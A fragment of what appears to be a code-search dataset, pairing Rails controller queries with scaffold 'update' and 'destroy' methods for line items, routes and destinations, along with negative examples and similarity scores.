"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_up.update(line_up_params)\n format.html { redirect_to @line_up, notice: 'Line up was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_up }\n else\n format.html { render :edit }\n format.json { render json: @line_up.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_property.update(line_property_params)\n format.html { redirect_to @line_property, notice: 'Line property was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_property }\n else\n format.html { render :edit }\n format.json { render json: @line_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sample_line = SampleLine.find(params[:id])\n\n respond_to do |format|\n if @sample_line.update_attributes(params[:sample_line])\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n env[\"HTTP_REFERER\"] += '#' + item.id.to_s\n format.html { redirect_to :back, notice: \"Aggiornato con successo.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_destination_params\n params.require(:line_destination).permit(:destination_id, :plan_id)\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def update\n @batting_line = BattingLine.find(params[:id])\n\n respond_to do |format|\n if @batting_line.update_attributes(params[:batting_line])\n format.html { redirect_to @batting_line, notice: 'Batting line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @batting_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lineup = Lineup.find(params[:id])\n\n respond_to do |format|\n if @lineup.update_attributes(params[:lineup])\n format.html { redirect_to @lineup, notice: 'Lineup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n\n if @trip.end_point = Station.find_by(uid: params[:station_id])\n render json: @trip.attributes.merge(station: @trip.end_point.attributes), location: @trip\n else\n render json: @trip.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_service_line.update(contract_service_line_params)\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service_line }\n else\n format.html { render :edit }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n\n respond_to do |format|\n if @payment_line.update_attributes(params[:payment_line])\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bus_line_direction.update(bus_line_direction_params)\n format.html { redirect_to @bus_line_direction, notice: 'Bus line direction was successfully updated.' }\n format.json { render :show, status: :ok, location: @bus_line_direction }\n else\n format.html { render :edit }\n format.json { render json: @bus_line_direction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit } \n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applied_line.update(applied_line_params)\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully updated.' }\n format.json { render :show, status: :ok, location: @applied_line }\n else\n format.html { render :edit }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n respond_to do |format|\n if @line_items.update(line_item_params)\n format.html { redirect_to @line_items, notice: 'Line item was successfully updated.' }\n format.json { render json: :show, status: :ok, location: @line_item }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_items.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @phone_line.update(phone_line_params)\n format.html { redirect_to @phone_line, notice: 'Phone line was successfully updated.' }\n format.json { render :show, status: :ok, location: @phone_line }\n else\n format.html { render :edit }\n format.json { render json: @phone_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n if @destination.update_attributes(params[:destination])\n format.html { redirect_to destinations_path, notice: \"El destino #{@destination.name} fue editado exitosamente.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_station = LineStation.find(params[:id])\n\n respond_to do |format|\n if @line_station.update_attributes(params[:line_station])\n format.html { redirect_to @line_station, notice: 'Line station was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flightline = Flightline.find(params[:id])\n\n respond_to do |format|\n if @flightline.update_attributes(params[:flightline])\n format.html { redirect_to(@flightline, :notice => 'Flightline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @flightline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @budget_line.update(budget_line_params)\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_line }\n else\n format.html { render :edit }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @line_concept = args[:line_concept] if args.key?(:line_concept)\n @stops = args[:stops] if args.key?(:stops)\n end",
"def update\n respond_to do |format|\n if @cruise_line.update(cruise_line_params)\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully updated.' }\n format.json { render :show, status: :ok, location: @cruise_line }\n else\n format.html { render :edit }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing_line.update(clothing_line_params)\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_line }\n else\n format.html { render :edit }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_station_2.update(line_station_2_params)\n format.html { redirect_to @line_station_2, notice: 'Line station 2 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_station_2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n\n respond_to do |format|\n if @so_line.update_attributes(params[:so_line])\n format.html { redirect_to(new_so_header_so_line_path(@so_header), :notice => 'So line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @so_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n if @lineitem.update_attributes(params[:lineitem])\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts ('entro al update')\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n if @credit_line.update_attributes(params[:credit_line])\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n respond_to do |format|\n if @purchase_order_item_line.update_attributes(params[:purchase_order_item_line])\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @route = Route.find(params[:id])\n @tmp = @route.dup\n \n respond_to do |format|\n if @route.update_attributes(params[:route])\n \n if @tmp.fellow_id\n route = @tmp\n tmp_route = Route.find(@tmp.fellow_id)\n user = tmp_route.user\n UserMailer.deleted_route(user, route).deliver\n end\n \n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @steamshipline.update(steamshipline_params)\n format.html { redirect_to @steamshipline, notice: 'Steamshipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @steamshipline }\n else\n format.html { render :edit }\n format.json { render json: @steamshipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n if @donation_line.update_attributes(params[:donation_line])\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @route = Route.find(params[:id])\n if user_signed_in?\n routeInfo = JSON.parse(params[:route_map_points].gsub(\"jb\",\"latitude\").gsub(\"kb\",\"longitude\"))\n \n \n @route.route_points = routeInfo['overview_path']\n @route.starting_point = routeInfo['overview_path'].first\n @route.end_point = routeInfo['overview_path'].last\n\n\n respond_to do |format|\n if @route.save(params[:route])\n if @route.schedule.update_attributes(\n departure: params[:route_schedule_departure], \n arrival: params[:route_schedule_arrival]) \n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end\nend\n # DELETE /routes/1\n # DELETE /routes/1.json\n def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end\nend",
"def update\n Rails.logger.info('👻 Disraptor: Updating route.')\n\n route_id = params.require(:route_id)\n payload = params.require('disraptor/route')\n source_path = normalize_path(payload['sourcePath'])\n target_url = normalize_uri(payload['targetUrl'])\n request_method = normalize_request_method(payload['requestMethod'])\n\n if !@@allowed_methods.include?(request_method)\n error_message = \"Route request method was #{request_method} but expected one of these: #{@@allowed_methods.join(', ')}.\"\n Rails.logger.error('❌ Disraptor: Error: ' + error_message)\n\n return render json: { error: error_message }, status: 400\n end\n\n if source_path != '/' and source_path.end_with?('/')\n error_message = \"Route source path was #{source_path} but it must not end in a slash.\"\n Rails.logger.error('❌ Disraptor: Error: ' + error_message)\n\n return render json: { error: error_message }, status: 400\n end\n\n route = Disraptor::Route.edit(route_id, source_path, target_url, request_method)\n\n Rails.application.reload_routes!\n\n render json: { 'disraptor/route': route }\n end",
"def update\n respond_to do |format|\n if @time_line.update(time_line_params)\n format.html { redirect_to @time_line, notice: 'Time line was successfully updated.' }\n format.json { render :show, status: :ok, location: @time_line }\n else\n format.html { render :edit }\n format.json { render json: @time_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trip.update(trip_params)\n last_clip(@trip, trip_params[:clips_attributes].present?)\n format.html { redirect_to @trip.parent || @trip, notice: 'Trip was successfully updated.', change: \"list\" }\n format.json { head :no_content }\n else\n format.html { redirect_to @trip.parent || @trip }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @storyline = Storyline.find(params[:id])\n @rest_ids = @storyline.id.to_s\n @start_id = params[:start_id]\n prev_id = params[:storyline][:prev]\n next_id = params[:storyline][:next]\n \n puts prev_id\n puts next_id\n puts params.inspect\n \n # Decide if user can edit the current line - only happens if no user owns the line or belongs to the current user\n # Else, one can only create new lines\n user_can_edit = (@storyline.user == nil || @storyline.user == @current_user)\n \n lines = TactfulTokenizer::Model.new.tokenize_text(params[:storyline][:line])\n \n # Perform a simple update if still only 1 sentence, and edit distance is small\n if lines.size == 1 and user_can_edit and Amatch::PairDistance.new(@storyline.line).match(lines[0]) > 0.8\n @storyline.update_attributes(params[:storyline])\n else\n @rest_ids = \"\"\n prev_line = Storyline.exists?(prev_id) ? Storyline.find(prev_id) : nil\n next_line = Storyline.exists?(next_id) ? Storyline.find(next_id) : nil\n # If first line matches, update it, then insert new path after that\n # Elif last line matches, update it, then insert new path before that\n ol = Amatch::PairDistance.new(@storyline.line)\n if user_can_edit\n if ol.match(lines[0]) > 0.8\n @storyline.update_attribute :line, lines.shift\n prev_line = @storyline\n @rest_ids = @storyline.id.to_s + \",\"\n elsif ol.match(lines[-1]) > 0.8\n @storyline.update_attribute :line, lines.pop\n next_line = @storyline\n end\n end\n \n if lines.size >= 1\n ## @storyline.update_attribute :line, lines.shift\n @storyline = Storyline.new(:line => lines.shift)\n @storyline.user = @current_user if @current_user\n @storyline.save\n @storyline.insert_between(prev_line, next_line, true)\n prev_line = @storyline\n @rest_ids += @storyline.id.to_s\n lines.each do |line|\n @storyline = Storyline.new(:line => line)\n @storyline.user = @current_user if @current_user\n @storyline.save\n @storyline.insert_between(prev_line, next_line)\n prev_line = @storyline\n end \n end\n end\n \n respond_to do |format|\n format.html { redirect_to @storyline, notice: 'Storyline was successfully updated.' }\n format.json { head :no_content }\n format.js\n end\n # respond_to do |format|\n # if @storyline.update_attributes(params[:storyline])\n # format.html { redirect_to @storyline, notice: 'Storyline was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @storyline.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n @invent_journal_line = InventJournalLine.find(params[:id])\n\n respond_to do |format|\n if @invent_journal_line.update_attributes(params[:invent_journal_line])\n format.html { redirect_to @invent_journal_line, notice: 'Invent journal line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invent_journal_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n\n respond_to do |format|\n if @invoice_adjustment_line.update_attributes(params[:invoice_adjustment_line])\n flash[:notice] = 'InvoiceAdjustmentLine was successfully updated.'\n format.html { redirect_to(@invoice_adjustment_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoice_adjustment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @line_item.update(line_item_params)\n\t\t\t\tformat.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @line_item }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @line_item.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @transport_line = TransportLine.find(params[:id])\n\n respond_to do |format|\n if @transport_line.update_attributes(params[:transport_line])\n flash[:notice] = 'TransportLine was successfully updated.'\n format.html { redirect_to(@transport_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transport_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'Line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @shipment_unit_ids = args[:shipment_unit_ids] if args.key?(:shipment_unit_ids)\n @unit_invoice = args[:unit_invoice] if args.key?(:unit_invoice)\n end",
"def update\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n if @destination.update_attributes(params[:destination])\n format.html { redirect_to @destination, notice: 'Destination was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n if @destination.update_attributes(params[:destination])\n format.html { redirect_to @destination, notice: 'Destination was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'Line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n if @product_line.update_attributes(params[:product_line])\n format.html { redirect_to @product_line, notice: 'Product line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pump_line = PumpLine.find(params[:id])\n\n respond_to do |format|\n if @pump_line.update_attributes(params[:pump_line])\n format.html {render :template => 'shared/close', :layout => \"fancybox\"}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pump_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @relay_destination.update(relay_destination_params)\n format.html { redirect_to @relay, notice: 'Relay destination was successfully updated.' }\n format.json { render :show, status: :ok, location: [@relay, @relay_destination] }\n else\n format.html { render :edit }\n format.json { render json: @relay_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dest.update(dest_params)\n format.html { redirect_to dests_path, notice: 'Dest was successfully updated.' }\n format.json { render :show, status: :ok, location: @dest }\n else\n format.html { render :edit }\n format.json { render json: @dest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line_item = OrderLineItem.find(params[:id])\n\n if @order_line_item.update(order_line_item_params)\n # set to manually completd\n @order_line_item.status = \"Manually Completed\"\n @order_line_item.save\n render json: @order_line_item\n else\n render json: @order_line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @itinerary.update(itinerary_params)\n format.html { redirect_to @itinerary, notice: 'Itinerary was successfully updated.' }\n format.json { render :show, status: :ok, location: @itinerary }\n\n if params[:origin]\n @itinerary.locations[0].address = params[:origin]\n @itinerary.locations[0].get_coords\n end\n if params[:destination]\n @itinerary.locations[0].address = params[:destination]\n @itinerary.locations[0].get_coords\n end\n\n else\n format.html { render :edit }\n format.json { render json: @itinerary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @linea = Linea.find(params[:id])\n\n respond_to do |format|\n if @linea.update_attributes(params[:linea])\n format.html { redirect_to(@linea, :notice => 'Linea actualizada correctamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @linea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @destinations = args[:destinations] if args.key?(:destinations)\n @sources = args[:sources] if args.key?(:sources)\n end",
"def update\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n if @destination.update_attributes(destination_params)\n format.html { redirect_to @destination, notice: 'Destination was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @participants = Participant.all\n @users = User.all\n if @lineitem.update(lineitem_params)\n format.html { redirect_to @lineitem, notice: 'Lineitem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = current_member.seller.line_items.find(params[:id])\n action = params[:aasm]\n \n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n unless action.blank?\n @line_item.send(action) if @line_item.respond_to?(action)\n end\n format.html { redirect_to line_item_url(@line_item) }\n format.xml { render :nothing => true }\n format.js #tracking info added in place\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors.to_xml } \n end\n end\n end",
"def update!(**args)\n @batch_id = args[:batch_id] if args.key?(:batch_id)\n @cancel = args[:cancel] if args.key?(:cancel)\n @cancel_line_item = args[:cancel_line_item] if args.key?(:cancel_line_item)\n @in_store_refund_line_item = args[:in_store_refund_line_item] if args.key?(:in_store_refund_line_item)\n @merchant_id = args[:merchant_id] if args.key?(:merchant_id)\n @merchant_order_id = args[:merchant_order_id] if args.key?(:merchant_order_id)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @operation_id = args[:operation_id] if args.key?(:operation_id)\n @order_id = args[:order_id] if args.key?(:order_id)\n @refund = args[:refund] if args.key?(:refund)\n @reject_return_line_item = args[:reject_return_line_item] if args.key?(:reject_return_line_item)\n @return_line_item = args[:return_line_item] if args.key?(:return_line_item)\n @return_refund_line_item = args[:return_refund_line_item] if args.key?(:return_refund_line_item)\n @set_line_item_metadata = args[:set_line_item_metadata] if args.key?(:set_line_item_metadata)\n @ship_line_items = args[:ship_line_items] if args.key?(:ship_line_items)\n @update_line_item_shipping_details = args[:update_line_item_shipping_details] if args.key?(:update_line_item_shipping_details)\n @update_shipment = args[:update_shipment] if args.key?(:update_shipment)\n end"
] |
[
"0.6438662",
"0.63544863",
"0.6346638",
"0.6315294",
"0.6275322",
"0.6252122",
"0.61914515",
"0.6190539",
"0.6179571",
"0.6137683",
"0.60762715",
"0.60315263",
"0.6000197",
"0.59485865",
"0.59453785",
"0.5937492",
"0.5911243",
"0.5901368",
"0.5887122",
"0.58835125",
"0.5882087",
"0.5880377",
"0.5880377",
"0.5880377",
"0.5880377",
"0.5880377",
"0.58796316",
"0.58734554",
"0.58729774",
"0.5861891",
"0.5846001",
"0.58274484",
"0.58257604",
"0.58221024",
"0.5820901",
"0.581257",
"0.581257",
"0.581257",
"0.5809663",
"0.58015156",
"0.58015156",
"0.580116",
"0.5797776",
"0.5794639",
"0.57878524",
"0.5787217",
"0.5776691",
"0.57732487",
"0.57732487",
"0.57732487",
"0.57732487",
"0.57732487",
"0.57732487",
"0.57732487",
"0.57678044",
"0.5766904",
"0.57667434",
"0.5731794",
"0.5727831",
"0.5725717",
"0.5724181",
"0.5721953",
"0.5703415",
"0.5700083",
"0.569865",
"0.5694528",
"0.56828916",
"0.56767404",
"0.56535965",
"0.56531364",
"0.5651002",
"0.56426495",
"0.56362677",
"0.5626914",
"0.5618481",
"0.561203",
"0.5594326",
"0.55919427",
"0.55896544",
"0.5582985",
"0.55775225",
"0.5574639",
"0.5552598",
"0.55445105",
"0.55433166",
"0.5542481",
"0.5542481",
"0.5539438",
"0.5533976",
"0.5531553",
"0.5523487",
"0.5515371",
"0.5510142",
"0.5504711",
"0.55033815",
"0.5500119",
"0.54829675",
"0.5476432",
"0.5445984",
"0.54414"
] |
0.71718687
|
0
|
DELETE /line_destinations/1 DELETE /line_destinations/1.json
|
def destroy
@line_destination.destroy
respond_to do |format|
format.html { redirect_to line_destinations_url, notice: 'Line destination was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shipping_line = ShippingLine.find(params[:id])\n @shipping_line.destroy\n\n respond_to do |format|\n format.html { redirect_to shipping_lines_url }\n format.json { head :no_content }\n end\n end",
